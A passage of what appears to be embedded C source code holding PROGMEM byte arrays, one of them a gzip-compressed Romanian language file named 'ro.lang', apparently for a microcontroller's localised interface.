0x66, 0x4b, 0x3a, 0x32, 0x9f, 0xc2, 0xe1, 0x60, 0x4e, 0x8d, 0x06, 0x00, 0xbf, 0x41, 0x3e, 0x11, 0x47, 0xbb, 0x16, 0x10, 0xb9, 0xda, 0x53, 0xb9, 0x7b, 0x91, 0x1a, 0xdb, 0x53, 0x4b, 0xbc, 0x8d, 0xc7, 0xfb, 0xb4, 0x6a, 0x9c, 0x11, 0x1f, 0xc0, 0x0c, 0x9f, 0xe2, 0x12, 0x33, 0x6e, 0x77, 0xe1, 0x19, 0xac, 0x7c, 0x03, 0xfc, 0xee, 0xfd, 0x6a, 0x6d, 0xe8, 0x01, 0x01, 0xfd, 0x87, 0x29, 0xe6, 0xa1, 0x11, 0xa4, 0xee, 0x55, 0xd3, 0xfd, 0x28, 0x7a, 0x21, 0x78, 0x71, 0x34, 0xa2, 0x59, 0x3b, 0x86, 0x51, 0x46, 0xdf, 0x84, 0xc8, 0x94, 0xfd, 0x2a, 0x7f, 0xff, 0x09, 0xfb, 0xf4, 0xcf, 0xb0, 0x4f, 0xff, 0x7c, 0xfb, 0x5e, 0x7e, 0xd6, 0xbe, 0x7b, 0xcd, 0x96, 0xc4, 0x1a, 0xb6, 0xd7, 0x06, 0x1c, 0x92, 0xea, 0x39, 0xc3, 0xd9, 0x94, 0x99, 0x12, 0xa4, 0x08, 0xfd, 0xd8, 0x11, 0xb7, 0xb6, 0x35, 0x42, 0x94, 0x03, 0x01, 0x1d, 0x07, 0xc5, 0x31, 0x51, 0x80, 0xff, 0xf9, 0x2e, 0x76, 0x4d, 0xd6, 0x2d, 0x3d, 0xa1, 0x5c, 0x85, 0xd8, 0x49, 0xf3, 0x52, 0x4a, 0x34, 0x3d, 0x1d, 0xc8, 0x1c, 0xc0, 0x81, 0x26, 0x59, 0xf8, 0x43, 0xfa, 0x3f, 0x27, 0x1e, 0xc5, 0x2d, 0x94, 0xae, 0x6c, 0x24, 0x59, 0xb8, 0x21, 0xb3, 0x3a, 0x45, 0x4b, 0xe8, 0x1d, 0xa7, 0x62, 0xa1, 0x14, 0x72, 0xb3, 0x01, 0x76, 0xc6, 0x48, 0xb1, 0x4b, 0xdf, 0x1e, 0x56, 0x53, 0xfa, 0xc7, 0x07, 0x3a, 0xb0, 0x62, 0xfe, 0x23, 0xaa, 0x2d, 0x3d, 0x33, 0x38, 0x67, 0x93, 0x21, 0x47, 0x4f, 0xc4, 0x93, 0x19, 0x4e, 0xff, 0x79, 0x87, 0xc1, 0xec, 0x78, 0x39, 0x2f, 0x78, 0x70, 0xd7, 0x7b, 0xd8, 0x14, 0xfa, 0x6e, 0xdb, 0xd6, 0x42, 0x55, 0xd6, 0x22, 0xec, 0x1e, 0x46, 0x7d, 0x12, 0xd2, 0xe1, 0x8a, 0xa0, 0x51, 0x9f, 0x56, 0x1a, 0x3a, 0xaf, 0xb9, 0x01, 0x3a, 0x90, 0x27, 0x8f, 0x7a, 0x60, 0x45, 0xf2, 0xca, 0xd3, 0x89, 0x12, 0x4e, 0x86, 0x2c, 0x63, 0x56, 0xfc, 0x15, 0xa9, 0xb0, 0xf7, 0xea, 0x70, 0x92, 0xe4, 0xcc, 0x20, 0x1f, 0x3f, 0x52, 0x66, 0x98, 0x07, 0xfc, 0x54, 0x06, 0x6b, 0x13, 0x3d, 0xc2, 0x0c, 0xcf, 0x65, 0xa4, 0x9f, 0xec, 0x21, 0xe1, 0x4f, 0x1e, 0x90, 0x7b, 0x56, 0xad, 0xc3, 0x84, 0xf0, 0x45, 0xdb, 0xe2, 0x7e, 0x32, 0x3c, 0xe1, 0x08, 0x81, 0xba, 0xad, 0x06, 0x11, 0x24, 0x77, 0x01, 0xaf, 0xe8, 0x18, 0xe9, 0x81, 0x12, 0xb6, 0x16, 0xe5, 0x3b, 0x92, 0x51, 0x68, 0x1f, 0x37, 0x97, 0xaa, 0xf0, 0x74, 0xf5, 0xbc, 0xb5, 0xcb, 0x65, 0x1a, 0xef, 0x99, 0x5f, 0x9d, 0xbf, 0x7e, 0x3d, 0x97, 0xc7, 0x4d, 0x7a, 0x22, 0x21, 0x26, 0x46, 0x68, 0xfe, 0x61, 0xba, 0xdb, 0xc9, 0xbb, 0xc0, 0xc8, 0xfc, 0x65, 0xef, 0xc5, 0x76, 0xea, 0xab, 0x9f, 0xbe, 0xfb, 0xed, 0x6f, 0x26, 0x91, 0xde, 0xe8, 0x1f, 0xab, 0x35, 0xed, 0x79, 0xab, 0x7f, 0x3c, 0x10, 0x72, 0x61, 0x98, 0xa7, 0xf4, 0x36, 0xf3, 0x96, 0xb8, 0xdb, 0x11, 0x53, 0xf1, 0x9a, 0xab, 0x5f, 0xab, 0xa3, 0xa3, 0x99, 0x3a, 0xfb, 0x9e, 0xbe, 0xbc, 0x98, 0xa9, 0xef, 0x74, 0xab, 0x3d, 0x7d, 0xff, 0xe5, 0x54, 0x7a, 0x75, 0x72, 0x25, 0x91, 0x5d, 0xdb, 0x88, 0x6c, 0x0f, 0xea, 0xed, 0xc9, 0xab, 0x7b, 0xa9, 0x3f, 0xa6, 0xbb, 0xd3, 0x3c, 0x95, 0x9b, 0x44, 0x3d, 0xcd, 0xed, 0xcb, 0xbe, 0xdd, 0x11, 0x95, 0x10, 0x2a, 0xb6, 0x83, 0x95, 0xd8, 0xca, 0x65, 0x62, 0xba, 0x80, 0xbd, 0xed, 0x43, 0x09, 0xc8, 0xcf, 0xea, 0x22, 0x1a, 0x3a, 0xa0, 0xeb, 0xbd, 0x93, 0xcc, 0xbb, 0xff, 0xee, 0x24, 0xa5, 0xaa, 0x1d, 0x4c, 0x9f, 0x6d, 0x39, 0xfa, 0xff, 0xef, 0x87, 0x19, 0x8a, 0xe8, 0xe3, 0x87, 0xa8, 0xd6, 0x9f, 0x7b, 0xa9, 0xe2, 0x1e, 0x38, 0x47, 0xc0, 0xf0, 0x02, 0x4d, 0xb5, 0x4b, 0xf3, 0x1b, 0x37, 0xa2, 0x82, 0xbd, 0x44, 0xb1, 0x3e, 0x81, 0x1d, 0x60, 0x29, 0x59, 0x9b, 0x04, 0xe8, 0x75, 0xc9, 0x0d, 0xca, 0xea, 0x2c, 0x6f, 0x64, 0xd3, 0x14, 0x6b, 0x1b, 0xeb, 0x4f, 0xb9, 0x37, 0x49, 0x23, 0xee, 0x80, 0x41, 0xdb, 0xb0, 0x81, 0x8f, 0xb7, 0x1c, 0x0f, 0xbe, 0xd7, 0x30, 0x7d, 0xd2, 0x0d, 0x88, 0xe3, 0xb4, 0x8f, 0xa2, 0x04, 0x80, 0xdd, 0xa2, 0x6b, 0x82, 0xc3, 0xfc, 0x1c, 0xd1, 0x6d, 0x11, 0xef, 0x94, 0x00, 0x8e, 0x9c, 0x8c, 0x7b, 0x15, 0x18, 0x7e, 0xba, 0x85, 0xbf, 0x67, 0xa3, 0x47, 0x00, 0x00, 0xde, 0xd2, 0xc4, 0x86, 0x59, 0xeb, 0x00, 0xcb, 0x42, 0x72, 0x71, 0xed, 0xf9, 0x61, 0x34, 0x03, 0x19, 0xdb, 0x36, 0x42, 0x40, 0x37, 0xa9, 0x9b, 0xcb, 0x10, 0x2b, 0xd3, 0x12, 0xd9, 0x93, 0x77, 0x35, 0xea, 0x30, 0x3a, 0x2a, 0x03, 0x9e, 0xde, 0x1a, 0x37, 0x5c, 0x59, 0x88, 0x8f, 0x96, 0xe7, 0x8a, 0xf1, 0x0b, 0x42, 0xd6, 0xb4, 0xa5, 0x93, 0xa8, 0x22, 0xd4, 0xa4, 0x73, 0x53, 0xa2, 0x1d, 0x3f, 0xa3, 0x93, 0xb1, 0x60, 0xbd, 0x16, 0xbc, 0x52, 0xab, 0xd0, 0xe5, 0x47, 0x22, 0xa2, 0xac, 0xc3, 0x4b, 0xf5, 0xe8, 0x89, 0xc2, 0x6e, 0xe5, 0x4b, 0x5b, 0xb9, 0x0f, 0xe9, 0xd8, 0x57, 0x55, 0x7d, 0x4b, 0x81, 0xf5, 0xd1, 0x9f, 0x90, 0x88, 0xdc, 0x51, 0x95, 0xe7, 0xfd, 0x87, 0xf8, 0x5c, 0x34, 0x99, 0xca, 0xba, 0x51, 0x61, 0x0c, 0x62, 0x9a, 0xe3, 0x3f, 0x2d, 0xf2, 0x0f, 0xeb, 0xb1, 0x91, 0x68, 0x2a, 0x1d, 0xc8, 0x95, 0x23, 0x34, 0xf4, 0x82, 0xd1, 0x70, 0x6e, 0x1e, 0x7f, 0xf5, 0xd5, 0x2e, 0x6a, 0x4b, 0x53, 0x8b, 0x92, 0x13, 0xe5, 0x3d, 0x72, 0xe4, 0xb6, 0xc7, 0xe3, 0xc6, 0xf0, 0x25, 0x20, 0xdd, 0x01, 0xc0, 0x32, 0xb2, 0xcb, 0xf6, 0xa5, 0xb7, 0xc1, 0x64, 0x22, 0x6e, 0x2c, 0x82, 0x0f, 0x1e, 0x50, 0xfb, 0xce, 0xe8, 0x24, 0x84, 0xf7, 0x7c, 0x60, 0xa6, 0x4d, 0xe0, 0xb3, 0x6d, 0xe9, 0x92, 0x88, 0x14, 0x22, 0x3d, 0x18, 0xc5, 0xdb, 0x73, 0x38, 0x48, 0x6e, 0x8d, 0x1d, 0x23, 0x7f, 0x4a, 0x41, 0x91, 0x1e, 0xaa, 0x0e, 0x77, 0xc2, 0x93, 0x5e, 0x1d, 0xdc, 0x5a, 0x7a, 0x25, 0xdb, 0xa7, 0x49, 0x9e, 0x4b, 0x47, 0x35, 0xa2, 0x75, 0xf3, 0x11, 0xd5, 0x99, 0xb1, 0x4d, 0x1c, 0xb1, 0x43, 0x31, 0x61, 0xb3, 0x10, 0xa3, 0xa5, 0x2d, 0x2d, 0x5d, 0x6a, 0xc9, 0xb0, 0x7d, 0x94, 0x82, 0xaa, 0xbf, 0x1d, 0xe1, 0xc4, 0xee, 0xc3, 0xd8, 0x43, 0xea, 0xcf, 0x47, 0x4f, 0xcb, 0xf3, 0x81, 0x05, 0x51, 0x68, 0x22, 0xc1, 0x61, 0xc4, 0xb6, 0xb7, 0x8c, 0xd0, 0x32, 0xf2, 0x3e, 0x57, 0x58, 0xc9, 0x35, 0x74, 0x90, 0x3b, 0x5b, 0x61, 0xe2, 0x52, 0xbb, 0x84, 0xed, 0xb9, 0x8c, 0x0a, 0x59, 0x92, 0xb7, 0xdc, 0xa3, 0xc3, 0x43, 0xd5, 0x24, 0xaa, 0x4f, 0x7e, 0xf4, 0xfa, 0x91, 0xe3, 0x0c, 0x1c, 0x99, 0xb2, 0x15, 0xa2, 0xa9, 0xa7, 0x28, 0xff, 0xbd, 0xf0, 0x7f, 0x33, 0xa5, 0x65, 0xc6, 0xed, 0x19, 0xfa, 0x7f, 0xb1, 0xd5, 0x0d, 0xe0, 0x67, 0xc5, 0x8f, 0x21, 0x43, 0xa3, 0x3a, 0xc3, 0x16, 0x30, 0xca, 0x2e, 0x9a, 0xc5, 0xa2, 0x74, 0x8c, 0x1c, 0xd5, 0x2c, 0x5e, 0x30, 0x62, 0xf2, 0x96, 0x5d, 0x9a, 0x44, 0xee, 0x01, 0x31, 0x43, 0xcf, 0x02, 0xd2, 0x9a, 0x3c, 0x00, 0x5c, 0xbb, 0x1e, 0x94, 0x97, 0xa1, 0xf7, 0x7f, 0x18, 0x17, 0x73, 0x28, 0xe7, 0x7f, 0xc2, 0x6a, 0x6e, 0x09, 0x53, 0x63, 0x73, 0x1c, 0xc8, 0xda, 0x49, 0xd7, 0x90, 0x51, 0x62, 0xdb, 0xd9, 0xf2, 0x15, 0xa7, 0x6d, 0xbb, 0x3d, 0xbc, 0x20, 0xef, 0x76, 0x2a, 0x34, 0x94, 0xc0, 0xd4, 0xc8, 0xce, 0x69, 0x32, 0xa5, 0xb1, 0x44, 0xfd, 0x60, 0xa3, 0xbc, 0x9b, 0x3a, 0xdb, 0x96, 0x7b, 0xe0, 0x27, 0xf9, 0x7f, 0xe6, 0x37, 0xf8, 0xd1, 0xeb, 0x51, 0x87, 0xf1, 0x48, 0xbf, 0x43, 0x28, 0x53, 0xde, 0x2f, 0x93, 0x10, 0x00, 0xa0, 0x08, 0x73, 0x1f, 0xf9, 0x63, 0xc5, 0x89, 0x20, 0xa0, 0x1a, 0x4c, 0x7a, 0xb2, 0xf7, 0xc5, 0x5f, 0xbf, 0xf8, 0x0f, 0x85, 0x45, 0x5c, 0x0a, 0xd0, 0x1e, 0x00, 0x00}; +const char rolang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x72, 0x6f, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xad, 0x59, 0x4d, 0x6f, 0x1c, 0xc7, 0x11, 0x3d, 0xc7, 0xbf, 0xa2, 0xc5, 0x93, 0x0c, 0x90, 0x1b, 0x49, 0x8e, 0x0d, 0xc7, 0x40, 0x0e, 0x8c, 0x48, 0x05, 0x8c, 0x65, 0x99, 0xd0, 0x4a, 0x4e, 0x0e, 0x02, 0x88, 0xde, 0x99, 0x5e, 0xb2, 0x95, 0x99, 0xe9, 0x41, 0xcf, 0xcc, 0x52, 0x51, 0x90, 0x93, 0xee, 0xb9, 0xdb, 0xba, 0xe5, 0x07, 0xf8, 0x4f, 0x48, 0x07, 0xfe, 0xac, 0xbc, 0x57, 0xd5, 0x3d, 0x1f, 0x2b, 0x4a, 0x36, 0x10, 0x03, 0x04, 0x76, 0xd9, 0xd3, 0x53, 0x5d, 0x55, 0x5d, 0xf5, 0xea, 0x55, 0xed, 0xbf, 0x3e, 0x33, 0xe6, 0xa0, 0xb2, 0xcd, 0xe5, 0xc1, 0x37, 0xe6, 0x20, 0x86, 0x83, 0x43, 0xfe, 0x7f, 0x6d, 0x63, 0xe3, 0x75, 0xe9, 0xf8, 0xd9, 0xe9, 0x93, 0x9b, 0x9f, 0xce, 0x4e, 0xf5, 0x41, 0xe9, 0xbb, 0xa2, 0xb2, 0xbe, 0x76, 0x51, 0x9e, 0x15, 0xae, 0xeb, 0x4d, 0x1b, 0x83, 0x77, 0x45, 0x6f, 0xf0, 0xdd, 0x99, 0x60, 0xca, 0xb0, 0xb3, 0xe5, 0xfb, 0x37, 0xc6, 0x9a, 0x22, 0x34, 0x85, 0x6b, 0xfb, 0xa1, 0x1a, 0xbc, 0x29, 0x9d, 0xe9, 0xb1, 0xc1, 0x46, 0x67, 0x6e, 0x7e, 0xf4, 0xa6, 0x2b, 0x42, 0x3b, 0x44, 0x6f, 0x5c, 0x39, 0x14, 0xf6, 0xe6, 0xad, 0x0f, 0x8d, 0xad, 0xdc, 0xea, 0x45, 0x73, 0xba, 0x3e, 0xff, 0xfa, 0xc1, 0x57, 0x5f, 0x99, 0xce, 0x9b, 0xf5, 0xc9, 0xb7, 0x47, 0x43, 0x65, 0x9a, 0xc1, 0xd8, 0xc1, 0x6c, 0x03, 0x0e, 0x2a, 0xa2, 0xb3, 0x38, 0xa2, 0x75, 0x4d, 0x1f, 0xb1, 0xda, 0xf5, 0x5b, 0x57, 0x51, 0x70, 0x12, 0xb6, 0x32, 0xe7, 0xa1, 0x37, 0xb6, 0x7d, 0xff, 0x06, 0xfb, 0xcc, 0x66, 0xb8, 0x3c, 0xc2, 0xe2, 0x9d, 0x17, 0xcd, 0x8b, 0xe6, 0x79, 0xef, 0x2b, 0xff, 0x9a, 0xe7, 0x1c, 0x51, 0x60, 0x6d, 0x3d, 0x84, 0x50, 0xef, 0x36, 0x7a, 0x5f, 0x39, 0x13, 0xdd, 0xcd, 0x5b, 0x57, 0xa9, 0x66, 0xb0, 0xb0, 0x0d, 0xaf, 0x7d, 0xef, 0x77, 0x4e, 0xde, 0x55, 0x1b, 0xbb, 0xb0, 0xed, 0xa1, 0x44, 0x15, 0x3a, 0xb1, 0xb2, 0xb0, 0x25, 0x0c, 0xd9, 0xd9, 0xca, 0xe3, 0xf8, 0xbf, 0xf9, 0x2d, 0xed, 0xeb, 0x8a, 0xe8, 0x3b, 0x67, 0xde, 0xfd, 0xdc, 0x18, 0xd8, 0xd9, 0x94, 0x36, 0xc2, 0x72, 0x73, 0x76, 0x7a, 0x7a, 0x6a, 0xbe, 0xbe, 0xf7, 0x60, 0x75, 0xff, 0xbe, 0x88, 0x87, 0x39, 0x9b, 0x2a, 0x14, 0x57, 0xce, 0xbe, 0x86, 0x8f, 0x3a, 0x98, 0x86, 0x17, 0xfa, 0xe8, 0xe2, 0x00, 0x8d, 0x1a, 0x5f, 0x78, 0x78, 0x70, 0x1b, 0x5d, 0xb1, 0x73, 0xcd, 0xcd, 0xdb, 0xf7, 0x6f, 0xe0, 0x92, 0x1f, 0x5c, 0xc4, 0x01, 0xe2, 0x25, 0x28, 0x7a, 0x59, 0xb9, 0x1a, 0xf6, 0xc3, 0x46, 0x2a, 0x5e, 0xb9, 0x4b, 0xf8, 0x0d, 0x3a, 0x37, 0xe6, 0xe6, 0xad, 0x8d, 0xd6, 0x94, 0xbb, 0x6e, 0x45, 0x89, 0xd6, 0x37, 0x50, 0x13, 0xca, 0x59, 0xec, 0x31, 0x83, 0xda, 0xbf, 0xa2, 0x3d, 0x4f, 0x06, 0xb3, 0xc3, 0xc9, 0xd1, 0x6d, 0x21, 0x97, 0x32, 0x2b, 0x6b, 0xec, 0xe2, 0x1e, 0x0b, 0x0b, 0x1d, 0xcc, 0x8b, 0x03, 0x58, 0xd1, 0x7b, 0x11, 0xb2, 0x89, 0x43, 0x6f, 0x5f, 0xbe, 0x38, 0x38, 0xd4, 0x9d, 0x36, 0x59, 0x5b, 0x7a, 0xe8, 0x81, 0x5b, 0xae, 0xdb, 0xca, 0xf5, 0x7a, 0x0b, 0x15, 0x04, 0xdb, 0xca, 0xf0, 0x8f, 0x3b, 0x71, 0xf1, 0x49, 0x2a, 0x7c, 0x79, 0x62, 0x0b, 0x6c, 0x87, 0x79, 0xb6, 0xf0, 0x87, 0x78, 0x6c, 0x45, 0x52, 0xd8, 0xb9, 0xd2, 0xdd, 0xfc, 0x48, 0x6d, 0x83, 0x8d, 0x86, 0x5b, 0x78, 0xe5, 0xd4, 0x0c, 0x76, 0xc8, 0xbd, 0x74, 0x70, 0x4c, 0xed, 0x0b, 0x9e, 0xda, 0x46, 0xb5, 0xb6, 0x70, 0xb8, 0xe2, 0x82, 0x37, 0x87, 0x95, 0xd7, 0x9e, 0x0e, 0x59, 0x5a, 0xb1, 0x82, 0xb1, 0xe7, 0xc3, 0xa6, 0x82, 0xe3, 0x18, 0x0d, 0x08, 0x45, 0x48, 0x6c, 0x86, 0x1c, 0x8c, 0x22, 0x28, 0xeb, 0xb0, 0x85, 0x37, 0x45, 0x33, 0xf7, 0xaa, 0xad, 0xd4, 0xd3, 0x78, 0x58, 0xe2, 0x12, 0xac, 0xc8, 0x8d, 0xf2, 0x31, 0x2a, 0xef, 0xa8, 0x9b, 0x28, 0x9b, 0x22, 0xb1, 0xc0, 0x4b, 0x08, 0xb5, 0x43, 0x3c, 0xf4, 0x35, 0x76, 0xf1, 0x9e, 0x7f, 0x2f, 0x77, 0xbb, 0xb1, 0x8d, 0x97, 0x7f, 0xb3, 0x59, 0x3b, 0xa7, 0xd7, 0xd8, 0xb5, 0xf4, 0x74, 0x7a, 0x5f, 0x03, 0xd1, 0xc1, 0xdd, 0xd0, 0x94, 0x17, 0x57, 0xe1, 0xe1, 0x60, 0xab, 0xf7, 0x6f, 0x0e, 0xe9, 0xdd, 0xa1, 0xf1, 0xfa, 0x88, 0x86, 0x77, 0xad, 0xe5, 0x73, 0xe3, 0x54, 0x6e, 0x35, 0xb4, 0x30, 0x20, 0xc9, 0x19, 0xc6, 0xc8, 0x2b, 0x11, 0x94, 0x8f, 0xbc, 0x61, 0xa0, 0x6f, 0x86, 0x46, 0xee, 0xfd, 0x5c, 0xf7, 0x70, 0xa9, 0x1e, 0x2a, 0xb8, 0xdb, 0x37, 0xdb, 0x10, 0x6b, 0x1a, 0xeb, 0xcd, 0xce, 0x23, 0xe2, 0xf9, 0xf5, 0x1b, 0xa4, 0xf9, 0xef, 0x66, 0x59, 0x7e, 0xb4, 0x19, 0xfa, 0x3e, 0x34, 0x92, 0xec, 0xb5, 0x29, 0x90, 0x16, 0xbd, 0x9c, 0x6b, 0xeb, 0xf9, 0xed, 0x04, 0x09, 0x09, 0x91, 0xdd, 0x0d, 0x9d, 0x88, 0x88, 0xae, 0x0a, 0xb6, 0xe4, 0x7b, 0x4f, 0x1d, 0x76, 0xe2, 0x16, 0xe0, 0x02, 0x79, 0xd2, 0x15, 0x56, 0xe4, 0xad, 0xf1, 0xc9, 0x23, 0x75, 0xb1, 0xf3, 0x65, 0x27, 0xab, 0xeb, 0xb3, 0x13, 0xe6, 0xad, 0xac, 0xda, 0xbe, 0xb7, 0xc5, 0x3f, 0x64, 0xfd, 0x18, 0xdf, 0xf2, 0x72, 0xe7, 0xfa, 0x1e, 0xe8, 0xa4, 0xfb, 0x9d, 0xe4, 0x82, 0xac, 0xd3, 0x22, 0xae, 0x9d, 0xf1, 0x33, 0x2f, 0x5c, 0xc0, 0x63, 0x72, 0xde, 0xd9, 0x93, 0x47, 0xdf, 0xe3, 0x43, 0xe4, 0x56, 0x15, 0x57, 0x9e, 0x05, 0xf8, 0x52, 0x16, 0x8a, 0x2b, 0xdb, 0x34, 0x4e, 0x16, 0x1f, 0x42, 0xab, 0x4a, 0xbd, 0xe0, 0x76, 0x1e, 0x21, 0xc5, 0xc5, 0x93, 0x09, 0x14, 0x70, 0xaf, 0xd5, 0x2e, 0xbf, 0xd7, 0xc9, 0x55, 0x5d, 0x24, 0x79, 0x6b, 0xf9, 0x4f, 0x33, 0xbb, 0x0f, 0x7d, 0x12, 0xb2, 0xdc, 0x73, 0x92, 0xfe, 0x97, 0x00, 0xcf, 0x9b, 0xa2, 0xab, 0x91, 0x06, 0x79, 0xcb, 0x59, 0x83, 0x9b, 0xef, 0x87, 0x38, 0x93, 0x22, 0xa9, 0x18, 0x9a, 0x0b, 0xfa, 0xee, 0xa2, 0xc7, 0xc5, 0x88, 0xfa, 0xbe, 0x6e, 0x15, 0xfe, 0xa0, 0x32, 0xc3, 0x99, 0xb7, 0xcf, 0xd8, 0x55, 0x6f, 0x34, 0xee, 0x9a, 0xbb, 0x9e, 0x84, 0x41, 0x45, 0x20, 0xf6, 0x44, 0x49, 0xaa, 0x9f, 0xdd, 0x6e, 0x4b, 0xb9, 0xa2, 0x63, 0xe0, 0xf5, 0x70, 0x69, 0xf3, 0xd2, 0x85, 0xaa, 0xe8, 0xe4, 0xd9, 0xc3, 0x2a, 0x34, 0x6a, 0xd2, 0xf1, 0x39, 0x2f, 0x06, 0xb1, 0x97, 0x2c, 0x48, 0x3e, 0x80, 0xe6, 0xf1, 0x3a, 0xfa, 0x5e, 0xa5, 0x0f, 0x6d, 0xb4, 0xc4, 0x06, 0x17, 0xf5, 0x29, 0x95, 0xbd, 0x60, 0x4c, 0x47, 0xa0, 0xa5, 0x5a, 0xa7, 0xdf, 0xa5, 0x22, 0xc0, 0x02, 0xd5, 0x75, 0xa8, 0x37, 0x5a, 0x52, 0x9e, 0x0c, 0xc8, 0xa0, 0xa8, 0xaf, 0xda, 0x78, 0xe9, 0x7a, 0xf1, 0xff, 0xcd, 0x4f, 0x92, 0xe2, 0x63, 0xfc, 0x5c, 0xe4, 0xab, 0x3e, 0x32, 0x8f, 0x52, 0x42, 0x32, 0x09, 0x89, 0xea, 0xeb, 0xe4, 0x0d, 0x89, 0x52, 0xe2, 0x4a, 0xab, 0xbe, 0x6e, 0xdf, 0xfd, 0xb7, 0x61, 0x16, 0xe3, 0xa3, 0x34, 0x8f, 0x4f, 0x4f, 0x58, 0x5b, 0x6c, 0xb5, 0x01, 0x00, 0x20, 0x2b, 0x4a, 0x56, 0x15, 0xd3, 0xdb, 0x4d, 0x45, 0x50, 0x46, 0x15, 0x03, 0x3c, 0x08, 0x26, 0xdd, 0x65, 0x16, 0x77, 0xf4, 0xf1, 0x95, 0xaf, 0x37, 0x78, 0x48, 0x78, 0x87, 0xc1, 0xa5, 0xfb, 0x1c, 0x60, 0xd8, 0x06, 0x3f, 0x02, 0x42, 0x3e, 0x5f, 0xc3, 0x1d, 0x36, 0x10, 0x78, 0x90, 0x79, 0x47, 0x46, 0x2c, 0xde, 0x42, 0x09, 0x6b, 0xae, 0xdd, 0x86, 0x30, 0xb0, 0x03, 0xe6, 0xa4, 0x4a, 0xd3, 0xf8, 0x8d, 0xaf, 0x92, 0x5c, 0xba, 0x03, 0x5a, 0xd1, 0x40, 0xc6, 0xb4, 0x47, 0x42, 0x13, 0x40, 0x59, 0xfa, 0x68, 0x0d, 0xde, 0x42, 0xa1, 0xd8, 0x60, 0xa9, 0xc3, 0x0b, 0x0a, 0xe2, 0xc0, 0xb5, 0x14, 0x4c, 0x77, 0x78, 0xd4, 0x7a, 0x8a, 0x2d, 0x01, 0xa8, 0x80, 0x42, 0xda, 0x5c, 0x4a, 0x28, 0x11, 0xfe, 0xe0, 0x42, 0x6c, 0x9b, 0x12, 0x6e, 0xe6, 0xc6, 0x63, 0xc1, 0x42, 0xec, 0xab, 0xbc, 0x7c, 0x30, 0x0f, 0xb5, 0xa2, 0xa7, 0xe2, 0xc1, 0xc5, 0x5c, 0x79, 0x99, 0x8b, 0xd0, 0x33, 0x34, 0x65, 0x82, 0x21, 0xfd, 0x2a, 0xd6, 0x3e, 0x02, 0xfa, 0xd2, 0xff, 0x22, 0xa0, 0x65, 0x86, 0x11, 0xf5, 0x6c, 0xf6, 0x3f, 0xaa, 0xcd, 0x17, 0x0f, 0xe8, 0x6f, 0x6c, 0xb2, 0x88, 0xb1, 0xe4, 0x23, 0x54, 0xa5, 0x41, 0x11, 0x48, 0x8c, 0xdb, 0x77, 0x6a, 0x0e, 0xda, 0x74, 0x7d, 0xf2, 0xd5, 0x95, 0x84, 0x45, 0x82, 0x1e, 0x8f, 0x12, 0x29, 0xcf, 0xc4, 0x3d, 0xee, 0x56, 0x11, 0xb3, 0x7b, 0x11, 0xf7, 0x0c, 0x2d, 0xa3, 0x01, 0xc1, 0x2d, 0xf5, 0x21, 0xc3, 0x4e, 0x15, 0xe2, 0x2a, 0x79, 0x48, 0xc1, 0x67, 0xe6, 0xa2, 0xf5, 0x11, 0x21, 0x7f, 0x20, 0x12, 0xf3, 0x80, 0xd6, 0x33, 0x0c, 0xe4, 0x08, 0x5c, 0xc2, 0x2b, 0x3f, 0x34, 0xac, 0x33, 0xa2, 0x1f, 0x4f, 0x72, 0xad, 0x3c, 0x83, 0x7a, 0x74, 0xd7, 0x9d, 0x7d, 0xf5, 0x66, 0x28, 0x10, 0xf2, 0xdd, 0xec, 0xf9, 0xb7, 0x74, 0x76, 0xe8, 0xaf, 0xc4, 0xb0, 0x63, 0xad, 0x1b, 0x8d, 0xdb, 0x05, 0xad, 0xc8, 0xc9, 0xea, 0x04, 0x46, 0xbf, 0xee, 0x62, 0xf6, 0x1c, 0x12, 0x97, 0x0e, 0xc9, 0x22, 0x50, 0x15, 0x59, 0x7b, 0x70, 0xe3, 0x06, 0x75, 0x4f, 0x70, 0xbd, 0xb5, 0xe0, 0x2b, 0xbd, 0xcb, 0x8e, 0xc9, 0xf0, 0x3b, 0x73, 0xcd, 0xf3, 0xc6, 0x09, 0x2e, 0x08, 0x16, 0x43, 0x4d, 0xc0, 0xa6, 0x70, 0x03, 0x94, 0xe7, 0x00, 0x26, 0x99, 0x2e, 0xf9, 0xd1, 0xc7, 0x6e, 0x75, 0x3c, 0x9b, 0x41, 0x6d, 0x3b, 0x8f, 0x88, 0xb5, 0x52, 0x32, 0xeb, 0x50, 0x92, 0xfb, 0x24, 0xb6, 0xd3, 0x0d, 0x0d, 0xf9, 0x1d, 0x4b, 0xf4, 0xa4, 0x8d, 0x60, 0xfc, 0x92, 0x96, 0xbe, 0xfb, 0x0f, 0x08, 0x82, 0x7d, 0x0d, 0x4f, 0xe0, 0x4e, 0x10, 0x28, 0x31, 0x88, 0x52, 0x19, 0x0d, 0x7a, 0x77, 0xb8, 0x6f, 0x3c, 0xb4, 0x75, 0x04, 0x04, 0xba, 0xcc, 0xbd, 0xb2, 0xb5, 0x97, 0xca, 0x84, 0xe3, 0x51, 0x7a, 0x43, 0xa4, 0x4b, 0x41, 0x96, 0x80, 0x59, 0x49, 0x51, 0x90, 0x5c, 0xd7, 0x2a, 0xcc, 0xb0, 0x94, 0x46, 0x8f, 0x5c, 0x03, 0x57, 0xcb, 0x50, 0x1d, 0xfb, 0x8b, 0xae, 0x0f, 0xad, 0xe0, 0xe1, 0xb3, 0xe3, 0xa7, 0xcf, 0x40, 0x06, 0xd6, 0xcf, 0xbe, 0x3f, 0x9f, 0x1e, 0x8f, 0x4f, 0xd2, 0x52, 0xde, 0x9b, 0xf6, 0x5c, 0xc3, 0xe6, 0x8b, 0xb0, 0xdd, 0xca, 0x22, 0x5d, 0xed, 0x7a, 0x6f, 0xb8, 0x08, 0x15, 0x53, 0xbd, 0xd8, 0x84, 0xd0, 0x6b, 0x71, 0x15, 0x07, 0x67, 0x3c, 0x07, 0xb1, 0x70, 0x69, 0x1d, 0x07, 0x01, 0x59, 0x74, 0xd9, 0x35, 0x40, 0x36, 0x77, 0x11, 0xc1, 0x0d, 0x42, 0xad, 0xc4, 0x1d, 0xa5, 0x2c, 0x99, 0x58, 0x0a, 0x10, 0x82, 0x59, 0xc3, 0x4b, 0x43, 0x2e, 0xff, 0x7b, 0xfb, 0x4f, 0xdc, 0x6b, 0xfb, 0xc9, 0x57, 0x74, 0xeb, 0x05, 0x79, 0xe1, 0x27, 0xe5, 0x4f, 0x57, 0x7d, 0xe9, 0x1a, 0x17, 0xc9, 0x34, 0x13, 0xe0, 0xe4, 0x2d, 0x09, 0x39, 0x84, 0x15, 